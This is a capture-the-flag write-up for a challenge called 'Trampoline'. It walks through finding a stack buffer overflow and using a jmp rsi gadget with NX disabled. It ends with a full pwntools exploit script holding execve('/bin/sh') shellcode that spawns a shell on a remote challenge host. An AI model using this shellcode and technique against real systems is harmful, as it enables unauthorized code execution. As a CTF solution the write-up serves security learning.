Trampoline

Debugging the binary

The program reads from stdin and dies after. The assembler dump indicates that the program reads the input to a buffer on the stack, so we could try to hit any return addresses stored in the stack with a buffer overflow.

The best way to do it is to simply create a huge ascii pattern to cause a crash and easily calculate the offsets.

Using this huge pattern as input the program crashes with the following registers layout.

If we feed the patterns back to cyclic we get the following offsets:

  • rsi = 0

  • rbp = 1024

  • rsp = 1032

Exploit plan

We can control rbp, rsi and rsp. since NX protection is disabled we can use a jmp gadget to run shellcode on the stack.

There is a jmp rsi gadget. RSI is at offset 0, which mean it's at the beggining of our input. Finally, if we send our shellcode + a padding to reach the return address we want to overwrite + the memory address of jmp rsi, we should be able to redirect the code execution flow to our shellcode. Here is the shellcode I use:

Final exploit

#!/usr/bin/env python
from pwn import *

e = context.binary = ELF('./jump',checksec=False)

if args.REMOTE:
    io = remote('107.23.206.156',1338)
else:
    io = process(e.path)

io.recvline()

# padding (we need to subtract the length of the shellcode)
junk = 'A'*(1032-(22))\

# jmp rsi gadget
trampoline = 0x4011b0

# execve(/bin/sh) shellcode(pops a shell)
shellcode = "\x48\x31\xf6\x56\x48\xbf"
shellcode += "\x2f\x62\x69\x6e\x2f"
shellcode += "\x2f\x73\x68\x57\x54"
shellcode += "\x5f\xb0\x3b\x99\x0f\x05"

# send it all together
io.sendline(shellcode + junk + p64(trampoline))
io.interactive()

At last we can cat the flag :)

Last updated